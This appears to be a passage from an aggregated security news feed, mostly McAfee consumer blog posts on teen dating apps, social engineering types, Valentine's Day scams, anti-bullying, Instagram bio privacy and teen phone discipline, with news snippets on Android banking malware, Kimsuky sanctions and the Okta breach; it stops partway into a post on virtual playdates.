If your child is using or is interested in using dating apps, it’s crucial to do your homework. Familiarize yourself with the apps they are using or are curious about – download them, explore their interfaces, and understand their privacy settings. This will help you create a natural dialogue about their usage and will empower you to offer guidance on their functionality and potential risks. For instance, some apps may have location-sharing features that might be dangerous, while others might have robust reporting systems against harassment or bullying.

Then, open a conversation about these apps. Discuss the benefits and dangers of using them, reinforcing the principles of responsible online behavior. This discussion should cover what information should never be shared (like home address or school location), the importance of reporting inappropriate behavior, and the potential emotional implications of engaging romantically with strangers online. By maintaining an approachable and non-judgmental attitude, your teen is more likely to listen and take your advice seriously.

Dig Deeper: New Global McAfee Cyberbullying Report Reveals Children Now Regularly Face Threats of Racism and Physical Harm Online

Implement Safety Measures

While education and open conversation are the foundation of promoting online safety, sometimes, they might not be enough. In such cases, it might become necessary to put certain restrictions in place, which can be done in collaboration with your teen. These could include setting time limits for app usage, employing parental control software, or checking the age restrictions for each app. You could also encourage your teen to only use apps with verified users.

However, these restrictions should not be imposed without discussion. It is important to involve your teen in the decision-making process, explaining your concerns and hearing their point of view. By treating them as partners in their online safety, you not only empower them to make wise decisions but also foster a sense of responsibility towards their online behavior.

Building Resilience

Finally, building resilience in your teenager is an invaluable tool in navigating the online world. Dating apps can amplify feelings of rejection, comparison, and inadequacy. Regularly reminding them that their online interactions do not define their worth can help cultivate a healthy online attitude. You should reassure them that it’s okay to turn down advances or stop conversations that make them feel uncomfortable.

Encouraging them to keep their real-world connections strong and to participate in offline activities can also help in grounding their sense of self-worth outside of the digital realm. This resilience will not only safeguard them within the online dating scene but is a life skill that can be applied in all aspects of their lives.

Dig Deeper: A Safer Internet for You, Your Family, and Others Too

Final Thoughts

As parents, we find ourselves in uncharted territories, navigating a digital landscape that we did not experience in our adolescence. But with open communication, education, implementing safety measures, and building resilience, we can help our teens explore these platforms safely. Remember, the goal is not to control every aspect of their online life but to guide and empower them to make responsible choices. After all, we are not just raising children, but future adults. It might seem daunting and even overwhelming at times, but together, we can equip them with the tools they need to stay safe in the online world.

Ensuring your child’s online safety is vital, and McAfee is here to help you safeguard them against the dangers of social media platforms and dating apps. Empower yourself with online safety – opt for McAfee for a more secure and protected online experience.

The post Parents: Are Your Kids Ignoring the Danger of Dating Apps? appeared first on McAfee Blog.

New FjordPhantom Android Malware Targets Banking Apps in Southeast Asia

Cybersecurity researchers have disclosed a new sophisticated Android malware called&nbsp;FjordPhantom&nbsp;that has been observed targeting users in Southeast Asian countries like Indonesia, Thailand, and Vietnam since early September 2023. "Spreading primarily through messaging services, it combines app-based malware with social engineering to defraud banking customers," Oslo-based mobile app

U.S. Treasury Sanctions North Korean Kimsuky Hackers and 8 Foreign-Based Agents

The U.S. Department of the Treasury's Office of Foreign Assets Control (OFAC) on Thursday sanctioned the North Korea-linked adversarial collective known as Kimsuky as well as eight foreign-based agents who are alleged to have facilitated sanctions evasion. The agents, the Treasury&nbsp;said, helped in "revenue generation&nbsp;and missile-related technology procurement that support the DPRK's

What is Social Engineering?

By: McAfee

In the realm of cybersecurity, there is one vulnerability that is often overlooked – the human element. While firewalls, encryption, and other security measures can protect our data to a certain extent, the most sophisticated systems can still be breached by clever manipulations of human psychology. This is where the concept of Social Engineering comes in. Through this article, we aim to provide an overview of social engineering, why it is important, and how it is employed.

Social Engineering in Cybersecurity

Social Engineering, in a cybersecurity context, refers to the techniques used by cybercriminals to manipulate individuals into divulging confidential information that can be used for fraudulent purposes. It is essentially an act of tricking people so that they give away their personal information such as passwords, bank account numbers, social security numbers, or other valuable data. This is often achieved not through technical means, but through human interactions.

Because most people are not aware that they are being targeted until it’s too late, social engineering is considered one of the biggest threats to cybersecurity. The success of a social engineering attack relies heavily on the ability to make the target believe that the attacker is someone they can trust or someone who has a legitimate reason for needing the information being sought. It exploits the natural tendency of a person to trust others and to want to help others, especially those who appear to be in a position of authority or in distress.

Types of Social Engineering Attacks

There are various types of social engineering attacks, each of which uses different tactics to trick victims. From sophisticated email scams to personalized impersonation, the variety of approaches underscores the need for a comprehensive understanding of these deceptive tactics to fortify defenses against the ever-evolving landscape of cyber threats. Let’s take a look at some of the most common types of social engineering attacks today:

Phishing:

  • Utilizes deceptive emails to appear as trustworthy sources.
  • Targets a broad audience with the goal of extracting personal information.
  • Often includes links to fraudulent websites that further facilitate data theft.

Spear Phishing:

  • Elevates the sophistication by tailoring emails to specific individuals or companies.
  • Leverages in-depth research on the target to enhance the credibility of the deception.
  • It can involve personalized content, making it harder for individuals to discern the scam.

Pretexting:

  • Constructs a fabricated scenario (pretext) to manipulate victims into divulging information.
  • Frequently involves assuming false identities, such as co-workers, police officers, or bank officials.
  • The attacker establishes trust by initially impersonating someone familiar or authoritative.

Vishing (Voice Phishing):

  • Exploits voice communication through phone calls or voice messages.
  • Often impersonates reputable entities, such as banks, to extract sensitive information verbally.

Dig Deeper: Artificial Imposters—Cybercriminals Turn to AI Voice Cloning for a New Breed of Scam

Baiting:

  • Tempts victims with enticing offers or false promises.
  • Lures individuals into revealing personal information or downloading malicious content.

Quid Pro Quo:

  • Involves offering something valuable in return for information.
  • Attackers may provide a service or benefit to coerce individuals into disclosing sensitive data.

Impersonation:

  • Assumes the identity of trusted figures, such as colleagues or IT support.
  • Exploits the trust associated with familiar roles to deceive and extract information.

Dig Deeper: Fighting Mobile Phone Impersonation and Surveillance

Watering Hole Attacks:

  • Targets specific websites frequented by a particular group or organization.
  • Injects malware into these websites, compromising the devices of unsuspecting visitors.

Understanding the intricacies of these social engineering tactics is crucial for individuals and organizations alike, empowering them to recognize and thwart these manipulative strategies in an ever-evolving digital landscape.

The Psychology of Social Engineering

At its core, social engineering is about exploiting the human element of security. It takes advantage of our ingrained behaviors and tendencies to trust and to want to be helpful. For instance, most people will not suspect a friendly phone call or an email from a co-worker to be a potential threat. As such, cybercriminals use these characteristics to their advantage in executing their attacks.

Psychology plays a crucial role in successful social engineering attacks. By understanding and manipulating human emotions such as fear, curiosity, greed, and the desire to help others, cybercriminals can more effectively trick their victims into falling for their scams. For example, they may send an email posing as the victim’s bank, warning of suspicious account activity and prompting them to verify their account credentials. In fear of losing their hard-earned savings, the victim is likely to comply, thus giving the attacker what they want.

Dig Deeper: Social Engineering—The Scammer’s Secret Weapon

Prevention Techniques Against Social Engineering

In dealing with social engineering, awareness is the first line of defense. Individuals and businesses should ensure that they are familiar with the various types of social engineering attacks and how they operate. They should learn to recognize the common signs of these attacks, such as emails containing spelling and grammatical errors, or emails requesting urgent action or confidential information.

Strong, unique passwords and multi-factor authentication can also serve as deterrents to social engineering attacks. It’s crucial to regularly update and secure your systems, use encryption for sensitive data, and always verify the identity of individuals before divulging any personal or sensitive information. Additionally, organizations should hold regular training sessions to teach employees about social engineering tactics and how to respond to potential threats. It’s better to be safe than sorry – when in doubt, don’t give it out.

Dig Deeper: Protect Your Digital Life: Why Strong Passwords Matter

The Consequences of Social Engineering

The consequences of falling victim to a social engineering attack can be devastating. Personal consequences may include financial loss, identity theft, and damage to personal reputation. Businesses that fall victim to such attacks can suffer damage to their brand reputation, financial loss from theft or fines due to non-compliance with data protection laws, and loss of customer trust.

Moreover, the information obtained through social engineering attacks can be used for further attacks, making the problem even more severe. For instance, a cybercriminal who has obtained someone’s email password can use it to send out phishing emails to the victim’s contacts, thus spreading the attack even further. The ripple effect of social engineering can therefore, lead to widespread damage, affecting not just individuals, but also the organizations they are a part of.

McAfee Pro Tip: Modern social engineering campaigns bear a striking resemblance to authentic communications from reputable organizations. Meticulously crafted, these campaigns may have grammatical correctness and seamlessly blend into plausible scenarios. Despite their polished appearance, their underlying objective remains consistent – the acquisition of sensitive information. Protect your personal data and identity with McAfee+ to avoid the consequences of social engineering.

Final Thoughts

It is clear that social engineering poses a significant risk to cybersecurity. This form of manipulation exploits the human vulnerability to trust and help others, leading to the disclosure of confidential information that can be used for fraudulent purposes. Despite advances in technology and security protections, this threat remains prevalent due to the human factor.

Individuals and organizations must stay educated and vigilant against these attacks. Only through awareness and adequate protective measures can the risk of social engineering be mitigated. By understanding the psychology of these attacks, recognizing the common signs, and employing prevention techniques, one can create a strong first line of defense against social engineering. In the realm of cybersecurity, every person should remember that they could potentially be the weakest link, but with adequate precautions, they can also be the strongest asset.

The post What is Social Engineering? appeared first on McAfee Blog.

Valentine’s Alert: Don’t Let Scammers Break Your Heart or Your Bank Account

By: McAfee

As with any major holiday or special occasion, Valentine’s Day is unfortunately not immune to scammers looking for an opportunity to exploit unsuspecting individuals. Their deceitful acts can break hearts and bank accounts. In this article, we spotlight some common Valentine’s Day scams, offer tips on how to protect yourself and navigate this romantic day with confidence and caution.

The Unromantic Side of Valentine’s Day

Valentine’s Day is a time when love is in the air. It’s a time to express your feelings for that special someone in your life, or perhaps even embark on a new romantic journey. But while you’re busy planning that perfect dinner or choosing the ideal gift, there’s an unromantic side to the day that you should be aware of – the potential for scams.

Scammers, always looking for new ways to trick people into parting with their money, use the heightened emotions of Valentine’s Day to their advantage. They prey on the unwary, the love-struck, and even the lonely – anyone who might let their guard down in the quest for love or the pursuit of the perfect gift. And in our increasingly digital world, these unscrupulous individuals have more ways than ever to reach potential victims.

Dig Deeper: AI Goes Dating: McAfee Study Shows 1 in 3 Men Plan to Use Artificial Intelligence to Write Love Letters this Valentine’s Day

Recognizing Common Valentine’s Day Scams

Knowledge is power, as the saying goes, and that’s certainly true when it comes to protecting yourself from scams. By understanding the types of scams that are common around Valentine’s Day, you can be better prepared to spot them – and avoid falling victim.

One of the most common Valentine’s Day scams is the romance scam. Scammers, often posing as potential love interests on dating websites or social media, manipulate victims into believing they are in a romantic relationship. Once they have gained their victim’s trust, they ask for money – perhaps to pay for a flight so they can meet in person, or because of a sudden personal crisis. These scams can be emotionally devastating, and they can also result in significant financial loss.

Dig Deeper: Fraudulent Adult Dating Services Turn 10 Years Old, Still Evolving

Another popular scam around Valentine’s Day involves online shopping. With many people seeking the perfect gift for their loved ones, scammers set up fake websites that appear to sell everything from jewelry to concert tickets. After making a purchase, the unsuspecting victim either receives a counterfeit product or, in some cases, nothing at all. Additionally, these sites may be designed to steal credit card information or other personal data.

Phishing scams are also common. In these scams, victims receive emails that appear to be from a legitimate company – perhaps a florist or a candy company – asking them to confirm their account information or to click on a link. The goal is to steal sensitive information, such as credit card numbers or login credentials.

How to Keep Your Heart and Your Wallet Safe

While the existence of these scams is unquestionably concerning, the good news is that there are steps you can take to protect yourself. Valentine’s Day should be a celebration of love, not a source of stress and worry.

One of the most important is to be aware that these scams exist and to be cautious when interacting with unfamiliar people or websites. If something seems too good to be true, it probably is.

When shopping online, make sure the website you are using is secure, and consider using a credit card, which offers greater protection against fraud compared to other forms of payment. Be wary of emails from unknown sources, especially those that ask for personal information or urge you to click on a link.

For shopping scams, it’s recommended to do research on any unfamiliar online retailer before making a purchase. Look for reviews or complaints about the retailer on independent consumer websites. If the website is offering items at a price that seems too good to be true, it likely is. Also, consider the website’s URL. A URL that begins with ‘https://’ indicates that the website encrypts user information, making it safer to input sensitive information than on websites with ‘http://’ URLs.

Forewarned is forearmed, and having advanced strategies to detect and avoid scams is also a strong line of defense. When it comes to online dating, be sure to thoroughly vet any potential romantic interests. This involves doing a reverse image search of profile photos, which can quickly reveal if a picture has been stolen from another online source. Additionally, be aware of red flags such as overly-flattering messages or requests to move the conversation to a private email or messaging app.

McAfee Pro Tip: If you’re considering using one of these for a bit of dating beyond a dating app or simply to stay connected with family and friends, the key advice is to do your homework. Look into their security measures and privacy policies, especially because some have faced security issues recently. For more information, take a look at this article on video conferencing to ensure you can keep hackers and uninvited guests away when you’re chatting.

How to Report a Scam and What to Do If You Fall Victim to One

If you come across a scam or fall victim to one, it’s crucial to report it to the appropriate authorities. This helps law enforcement track down scammers and alert others to the scam. In the U.S., you can report scams to the Federal Trade Commission through their website. If the scam involves a financial transaction, also report it to your bank or credit card company. They may be able to help recover your funds or prevent further losses.

Additionally, take steps to protect yourself after falling victim to a scam. This could involve changing passwords, monitoring your financial accounts for unusual activity, or even freezing your credit. It can also be beneficial to alert your friends and family to the scam, both to protect them and to gain their support and assistance in dealing with the aftermath of the scam.

Dig Deeper: How To Report An Online Scam

Don’t Let Scammers Ruin Your Valentine’s Day

The unfortunate reality is that scammers are ever-present and always looking for new ways to exploit unsuspecting victims. However, by being informed, cautious, and proactive, you can significantly decrease your chances of falling victim to a Valentine’s Day scam. Whether you’re looking for love or shopping for the perfect gift, remember to always prioritize your safety and security.

And if you do encounter a scam, take comfort in knowing that you’re not alone and there are resources available to help. McAfee’s blogs and reports are just some of them. By reporting scams to the authorities, you’re doing your part to help stop scammers in their tracks and protect others from falling victim. Remember, Valentine’s Day is a day for celebrating love, not for worrying about scammers. Stay safe, stay informed, and don’t let a scammer ruin your Valentine’s Day.

Remember to always stay vigilant. Protect your heart and your bank account, and make sure your Valentine’s Day is filled with love and happiness, not regret and frustration. Don’t let scammers break your heart or your bank account – on Valentine’s Day or on any other day.

The post Valentine’s Alert: Don’t Let Scammers Break Your Heart or Your Bank Account appeared first on McAfee Blog.

End the Hate: 10 Ways to Stand Up and Help Stomp Out Bullying

By: McAfee

Bullying is a pervasive problem in our society, occurring in schools, workplaces, online, and even within families. It can cause immense physical and emotional pain, leading to decreased self-esteem, increased anxiety, and even suicide in extreme cases. Given its severe potential consequences, it’s critical for every one of us to take steps to end the hate and stomp out bullying.

This article explores 10 ways in which you can stand up against bullying, ranging from individual actions to community-based initiatives. Remember, each effort counts. Together, we can create a world where respect, kindness, and acceptance rule over hate and intimidation.

Understanding Bullying

Before we delve into the various ways to combat bullying, it’s important to first understand what it is. The World Health Organization defines bullying as “repeated exposure to negative actions from one or more individuals.” These actions may involve physical aggression, verbal abuse, intentional exclusion, public humiliation, or harmful manipulation.

Understanding the nature and effects of bullying is the first step in combating it. Recognizing the signs of bullying is essential in identifying victims or perpetrators. Those who are bullied often exhibit signs such as unexplained injuries, poor performance or attendance at school or work, changes in eating habits, or sudden loss of friends. On the other hand, those who bully often exhibit increased aggression, difficulty accepting responsibility for their actions, and a constant need to dominate or control others.

1. Educate Yourself

Education is a powerful tool in the fight against bullying. By educating yourself about different forms of bullying, its impact, and why it happens, you can better understand the reasons behind these harmful behaviors and approaches to address them. Learn about not just physical and verbal bullying, but also cyberbullying, sexual bullying, prejudicial bullying, and relational aggression.

There are plenty of resources available that can help increase your understanding of bullying. Anti-bullying organizations offer detailed information on different types of bullying, how to identify them, and ways to prevent them. Books and documentaries can also provide personal narratives and insights into the effects of bullying, giving you a deeper understanding of its impact on individuals.

2. Awareness-raise

After educating yourself about bullying, the next step is to raise awareness. By spreading the word about bullying and its harmful effects, you can bring this issue to the forefront of more people’s minds. This can be achieved through discussions, presentations, social media campaigns, or organizing events focused on bullying prevention.

Bullying often thrives on silence and ignorance. By bringing the issue to light, you empower victims, bystanders, and even bullies to change their behaviors and attitudes. Remember, change starts with awareness. The more people know about the issue, the more they can do to help combat it.

Dig Deeper: What You Do Now To Protect Your Child From Cyberbullying

3. Showcase Empathy

Empathy is a powerful weapon against bullying. By empathizing with the victim, you are not only providing emotional support but also validating their feelings and experiences. It can help them feel less isolated and more confident to stand up against the bully.

Showing empathy also extends to those who bully. It’s essential to understand that bullies often act out due to their own difficulties. Demonstrating empathy doesn’t mean condoning their actions, but rather understanding their problems and helping them seek the needed support. It also means helping them realize the harm they’re causing and encouraging them to change their patterns of behavior.

Dig Deeper: Digital Strategies to Safeguard Your Child from Upsetting and Violent Content Online

4. Be a Good Role Model

Good behavior is often emulated. Thus, being a good role model can have a significant effect on how others treat people around them. Show respect, kindness, and understanding in your everyday interactions, and stand up against any form of intimidation or humiliation you witness.

If you’re in a position of authority (like a parent, teacher, or manager), your role modeling has an even greater impact. Show how conflicts can be resolved calmly and respectfully, and do not tolerate any form of bullying. This not only creates a positive environment but also teaches others about the importance of respectful interactions.

Dig Deeper: Helping Kids Think Critically About Influencers They Follow Online

5. Encourage Open and Honest Communication

Encouraging open and honest communication can empower victims and bystanders to speak up against bullying. Many times, children and even adults are afraid to express their feelings or fear being dismissed or ridiculed. By promoting a safe and open communication environment, you can help them voice their concerns and experiences without fear of judgment or backlash.

Remember, communication goes both ways. While it’s important to encourage victims and bystanders to speak up, it’s equally crucial for parents, teachers, and friends to listen actively and offer support, guidance, and intervention if necessary.

6. Stand Up and Speak Out

Don’t be a silent bystander. If you witness bullying, stand up and speak out against it. Bystander intervention can make a significant difference, as it can deter the bully and comfort the victim. It can also encourage other bystanders to take action. But always ensure your own safety before intervening. If you fear a violent reaction, you should report the incident to a trusted adult or authority figure instead.

Speaking out against bullying also means challenging discrimination and prejudice whenever you encounter them. Whether it’s racism, sexism, homophobia, or any other form of bias, these attitudes often underpin bullying behavior. By challenging them, you’re helping to create a more inclusive and respectful society.

Dig Deeper: Instagram Takes Huge Step to Filter Bullies, Become a Kinder Social Hub

7. Reach Out to Victims

If you know someone who is a victim of bullying, reach out to them. Let them know that they’re not alone and that you’re there to support them. Encourage them to report the bullying, and offer to accompany them if they’re anxious about doing so. You can also help by listening to their experiences, validating their feelings, and providing advice or resources for coping with bullying.

Remember, bullying can have a deep psychological impact on its victims. They may be struggling with issues like anxiety, depression, or low self-esteem. So, your support can make a real difference to their mental well-being. If you’re worried about a victim’s mental health, urge them to seek help from a mental health professional.

8. Report Bullying Incidents

If you witness or experience bullying, report it to a trusted adult or authority figure. This could be a teacher, school principal, HR manager, or police officer, depending on the context. Many victims of bullying fear retaliation and so, don’t report their experiences. However, reporting can initiate the process of addressing the issue and holding the bully accountable.

When reporting bullying, it’s important to be specific about what happened. Include details like who was involved, when and where it occurred, what was said or done, and whether there were any witnesses. If the bullying is happening online, take screenshots as evidence. Remember, your report can help protect not only you but also other potential victims.

9. Support Anti-Bullying Organizations and Programs

There are many organizations and programs dedicated to preventing bullying and supporting victims. You can support these initiatives in various ways, such as by donating money or time, participating in their events, or spreading the word about their work. By doing so, you can contribute to their efforts to create a bully-free world.

These anti-bullying organizations and programs often provide resources for education, prevention, and intervention, as well as support services for victims. Their work is crucial in raising awareness about bullying, teaching people how to stand up against it, and giving victims the help they need to recover.

Here are some notable anti-bullying organizations and programs:

10. Practice Self-Care

If you’re a victim of bullying, it’s essential to practice self-care. Bullying can take a toll on your mental and physical health, but taking care of yourself can help you cope with its effects. This could involve activities like exercising, meditating, journaling, or spending time with loved ones. It could also involve seeking help from a mental health professional.

Self-care is equally important for those supporting victims. Standing up against bullying is a daunting task, and it can leave you feeling stressed or overwhelmed. So, make sure to take care of your own well-being too. Remember, you can’t pour from an empty cup.

Final Thoughts

Bullying is a grave issue that affects countless individuals worldwide. Its impacts can be devastating, leading to physical, emotional, and psychological harm. However, each one of us can play a crucial role in combating bullying. By educating ourselves, raising awareness, demonstrating empathy, being good role models, encouraging communication, standing up against bullying, reaching out to victims, reporting incidents, supporting anti-bullying initiatives, and practicing self-care, we can contribute to creating a world free from bullying. Remember, every effort counts. Together, with McAfee, we can end the hate and stomp out bullying.

The post End the Hate: 10 Ways to Stand Up and Help Stomp Out Bullying appeared first on McAfee Blog.

Okta Discloses Broader Impact Linked to October 2023 Support System Breach

Identity services provider Okta has disclosed that it detected "additional threat actor activity" in connection with the&nbsp;October 2023 breach&nbsp;of its support case management system. "The threat actor downloaded the names and email addresses of all Okta customer support system users," the company said in a statement shared with The Hacker News. "All Okta Workforce Identity Cloud (WIC) and

How Hackers Phish for Your Users' Credentials and Sell Them

Account credentials, a popular initial access vector, have become a valuable commodity in cybercrime. As a result, a single set of stolen credentials can put your organization’s entire network at risk. According to the&nbsp;2023 Verizon Data Breach Investigation Report, external parties were responsible for&nbsp;83 percent&nbsp;of breaches that occurred between November 2021 and October 2022.&

Telegram’s Bans on Extremist Channels Aren't Really Bans

A WIRED analysis of more than 100 restricted channels shows these communities remain active, and content shared within them often spreads to channels accessible to the public.

5 Ways to Safeguard Your Child’s Instagram Bio

By: McAfee

Keeping your child safe online is a growing concern for many parents. Instagram, a popular social media platform among tweens and teens, is no exception. Despite privacy settings that can effectively limit who sees your child’s posts, their Instagram bio nonetheless remains public by default. This leaves an opening through which those with ill intentions can glean personal information about your child. However, there are ways you can help safeguard your child’s Instagram bio and enhance their online safety. Here are 5 tips to consider:

1. Approve Your Child’s Profile Picture

The first step towards protecting your child’s online identity on Instagram starts with their profile picture. This image is the face your child presents to the world, and unfortunately, it can sometimes attract unwanted attention. As such, it’s crucial that you approve your child’s profile picture. Make sure that the photo does not in any way make your child look older than their age. For instance, if your child is 13, their photos should reflect their age and not make them look 20.

Moreover, it’s important to ensure that their chosen profile picture is not suggestive or revealing. It’s worth noting that what may seem normal to your child might come off as suggestive to others. As a parent, you need to hold your ground and make the final decision on what constitutes an appropriate profile picture.

Dig Deeper: McAfee Survey: Parents Share Pictures of Their Kids Online, Despite Understanding the Risks Involved

2. Edit Bio or Omit Entirely

Another critical step to safeguarding your child’s Instagram bio is to carefully oversee its contents. While it’s tempting for your child to share personal information such as their age, hometown, school, favorite sports team, etc., these can potentially serve as breadcrumbs for predators. By piecing together these nuggets of data, it’s easy for individuals with ill intentions to form a complete picture of your child’s life. Therefore, it’s best to either completely omit these details or edit the bio in a way that it does not divulge any personal information.

Teach your child about digital privacy and the dangers of sharing too much online. Explain that while it may seem like sharing a tidbit about their favorite band or TV show is harmless when combined with other pieces of information, it can end up providing a clear window into their personal life.

Dig Deeper: Oversharing: Are You Ignoring Your Child’s Privacy When You Post Online?

3. Do not Allow Links in Bio

Often, Instagram users will add a link to their bio that directs to another social media platform, an email address, or some other online platform. While this might seem like a simple way of connecting different aspects of their online presence, it can, unfortunately, also provide potential predators with additional ways to access your child’s personal information.

Therefore, do not allow your child to include any links in their Instagram bio. By limiting the information available about your child online, you make it harder for anyone to trace or track them, thereby enhancing their online safety.

4. Turn off Geo-Tagging/Location-based Services for Instagram

The Geo-Tagging feature on Instagram allows users to add their exact location to their posts. While this might seem like a fun and harmless feature to your child, it can unfortunately put them at risk. Predators can use this feature to track your child’s routines, activities, and even their real-world location. This is why it’s crucial to turn off Geo-Tagging/Location-based services on your child’s Instagram account.

Dig Deeper: What Are the Risks of Geo-Location?

Teach your child that it’s not safe to share their location online. Make sure they understand that leaving the location feature enabled can potentially allow strangers to figure out where they live, go to school, or hang out. You can turn off this feature by going to the settings in the Instagram app and turning off the location services. Remind your child not to manually add their location to posts. If they need to share their location, they should do it privately and only with trusted friends or family.

5. Let Them See You Monitoring

One of the most effective ways to ensure your child’s online safety is to stay involved and keep a close eye on their online activity. While this might seem like an invasion of your child’s privacy, it’s crucial to remember that as a parent, your number one priority is keeping your child safe. Let them know that you’ll be checking their Instagram account regularly, and make sure they’re aware of the potential risks they face online.

Studies show that about 50% of teens would change their online behavior knowing their parents are watching. Digital safeguards are an essential part of maintaining online safety. Make it a regular habit to browse your child’s Instagram and monitor their posts, their followers, and the people they follow. This can help you to quickly pick up on anything suspicious and take necessary action.

McAfee Pro Tip: Although parental controls can play a significant role in nurturing positive online behaviors, it’s vital for these tools to work in tandem with a devoted and actively involved parent who is enthusiastic about guiding their children through the digital world. Explore how parental controls can contribute to the development of healthy habits.

Final Thoughts

Ensuring your child’s online safety requires a combination of education, open discussion, and vigilant monitoring. Profile pictures should be age-appropriate, and their bio free from personal details or links. Location services should be switched off for Instagram to avoid sharing real-world locations. Finally, a regular check of their Instagram account helps to keep a tab on their online activity. Remember, safeguarding your child’s Instagram bio is not about controlling them but rather, it’s about protecting them from potential online threats.

By taking these steps to safeguard your child’s Instagram bio, you not only protect them but also teach them the importance of online safety and the steps they can take themselves. In the age of growing digital threats, it is crucial to stay vigilant and proactive in protecting our children online.

The post 5 Ways to Safeguard Your Child’s Instagram Bio appeared first on McAfee Blog.

Why Taking Your Teen’s Phone Away Doesn’t Work Anymore

By: McAfee

If you are the parent of a tween or teen, you know the challenge of setting and following through with consequences. You’ve worked hard to establish ground rules, but human nature and the sometimes rocky road to maturity guarantees your child will push, step, and even leap outside the agreed-upon lines. If you are like many parents, your first instinct is to restrict the thing they love the most, which is communication with their peers and the dependence they have on their phones.

The Loss of Family Dynamics

There are a few problems with taking away your teen’s phone, the first of which, you know well: Taking their phone is hard on you as well because you’ve become just as dependent on instant communication via the phone as they have. Too, if your teen drives a vehicle or is away from home for the day, the phone adds a layer of safety to the family dynamic.

The Alternative Communication Grid

The second hurdle — which you may or may not realize — is that with or without their phones, most teens have created an alternative communication grid that ensures there’s barely a hiccup if anyone gets a phone taken away. To clarify: This post is not an ‘us against them’ post, or an ‘outsmart them’ strategy, it’s simply a dose of reality that may influence and inform everyday parenting decisions.

Dig Deeper: Should You Use Near-Field Communications?

A few ways kids can maintain their social life without their phones include:

Laptop or PC

Because schools now require kids to be online to get assignments via internal assignment platforms and email, your child will likely ask you to log onto his or her laptop or family PC to do homework. In doing that, they will also quietly log on to their favorite apps SnapChat, Twitter, or Instagram account, and talk to friends non-stop. Solution: Monitor homework time.

McAfee Pro Tip: Our children who have grown up in the digital age are deeply immersed in smartphone culture. Even if you desire to disconnect and return to a simpler way of life, it would be quite challenging to achieve this while ensuring that your child remains academically competitive with their peers. Get smarter about phones and homework time with our tips.

Ipad and tablets

Kids will also be asked to read or do an assignment via the iPad or tablet; you can’t cut them off from learning, right? Wrong. They can again download their favorite social apps as well as chat apps they hope you know nothing about, such as Kik Messenger. Solution: Monitor homework and TV time.

Borrowed phones and iPods

I hate to make it sound like your kids are part of the teen tech mafia, but they keep their old phones for a reason. While that old iPhone and Android may be without phone service, the social and texting apps on them can still be used—and you can bet they are. Solution: 1) If you are restricting your smartphone, you need to take away the iPod (music) as well 2) Be upfront. Ask your kids if they’ve borrowed a phone 3) Check backpacks for rogue phones. 

Dig Deeper: The Privacy Problems with Mobile Messaging Apps

Game Systems and TV

Gaming systems have chat and messaging that kids use all the time. In addition, social media and television are now overlapping, so all of the apps you get on your phone can be easily accessed via most TVs. Solution: 1) Go to the network settings on your TV and password protect it 2) Monitor media 3) Take away all media in addition to the phone.

Dig Deeper: How To Get Your Head Around Your Kids’ Online Gaming Life

Private Messaging

Everything seems quiet on the posting front. You’ve checked, and your child is not posting on Facebook, Instagram, or Twitter, and you have their phone, so Snapchat is out, right? Not so much. If your kids are logging on to their apps via any of the devices listed above, chances are they know better than to post in the public stream. What they will be doing is using the private messaging of Twitter, Instagram, and Snapchat (accessed via other devices) as an alternative way to text and communicate without feeling the loss of their personal smartphone.

Alternative Discipline Approaches

So what’s the alternative to taking your child’s tech as a consequence? If you know the loopholes listed above, tech restriction is still an option (even though your child will be clearly annoyed with your roadblocks). If your child is over 16 and loves the freedom of driving, that restriction is always an excellent option.

Experts agree: Strong ground rules and equally strong communication provide the best discipline. If family rules are vague or brought up only when your child messes up (i.e., grades, responsibilities, or behavior), he or she will have a tough time staying on track. Look for empowering opportunities for your child to take responsibility for his or her mistakes.

Empowering Responsibility

In truth, the only way to ensure appropriate behavior both online and offline is to teach your kids about personal responsibility. This is the key aspect of parenting that sets your child up for success in the real world. The ability to manage themselves, especially when it comes to online activities, is an invaluable life skill that they will bring with them into adulthood. The best way to teach responsibility is to model it. Show them through your actions and decisions that you are worthy of their respect, and they will follow suit.

Teens need to be taught how to behave responsibly online, how to protect their privacy, avoid scams, and how to deal with cyberbullying. They need to understand the consequences of inappropriate behavior online. One good way to teach them about cyber ethics is to have regular discussions about these topics. Create an open environment where they feel comfortable to share their experiences and concerns. Then, guide them on how to respond appropriately to these situations.

The Importance of Communication

Communication is the cornerstone of a healthy relationship between parent and child. As a parent, it’s important to create an atmosphere of trust, openness, and respect. Regular discussions about proper digital etiquette and responsible internet behavior are key. Make time to discuss what your teen is doing online, who they are communicating with, and what type of content they are sharing. Be open about your expectations and why they are in place. If they understand why the rules exist, they will be more likely to follow them.

Consistent communication also enables you to keep up with the rapidly changing digital landscape teens navigate daily. By maintaining an open dialogue, you will be more attuned to the latest apps, games, and social media platforms your teen is using. This way, you can stay informed about developments that might affect your teens’ online safety.

Dig Deeper: 10 Easy Ways to Build Up Your Family’s Online Security

The Power of Trust

Trust is a two-way street. While it’s important that your child trusts you as a parent, it’s equally important for you to demonstrate trust in them. This means giving them some level of freedom and privacy online, while also making it clear that you expect them to act responsibly. Trusting your teens to make good decisions online shows them respect which encourages them to validate your trust.

However, trust is not about blind faith. It’s about setting boundaries and expectations and then allowing your teen to prove they can stay within those boundaries. When trust is breached, it’s important to discuss why it happened, the consequences, and how it can be rebuilt. Trust building is a process, and it takes time and consistency.

Final Thoughts

Managing your teen’s digital life can be challenging, but with open communication, respect, trust and a strong focus on personal responsibility, you can navigate this digital world together. Ultimately, the goal isn’t to control your teen’s every online interaction. Rather, it’s to equip them with the knowledge, skills, and values they need to navigate the increasingly complex digital landscape safely and responsibly. Removing a teen’s phone may seem like an easy solution, but it’s far more effective to guide them toward responsible digital citizenship.

Take the step to safeguard your teen’s digital journey today, and empower them to thrive in the digital age, all while providing you with the control and confidence you need as a parent. Explore McAfee’s parental controls now and create a secure and nurturing digital environment for your teens.

The post Why Taking Your Teen’s Phone Away Doesn’t Work Anymore appeared first on McAfee Blog.

Keeping Virtual Play Dates, Hangouts, and Video Chats Safe for Everyone

By: McAfee

Given the climate surrounding COVID-19, many of us have had to substitute in-person social interactions with virtual communication. For parents, this includes organizing virtual playdates, hangouts, and video chats for their kids. While this provides an excellent solution for children to continue interacting with their peers, it has also opened up a new avenue for potential risks and dangers. It is imperative to ensure these virtual platforms are safe for all involved. In this article, we will provide some essential strategies for maintaining a secure and enjoyable online social environment for everyone.

The Rise of Tech and Cyber Crimes

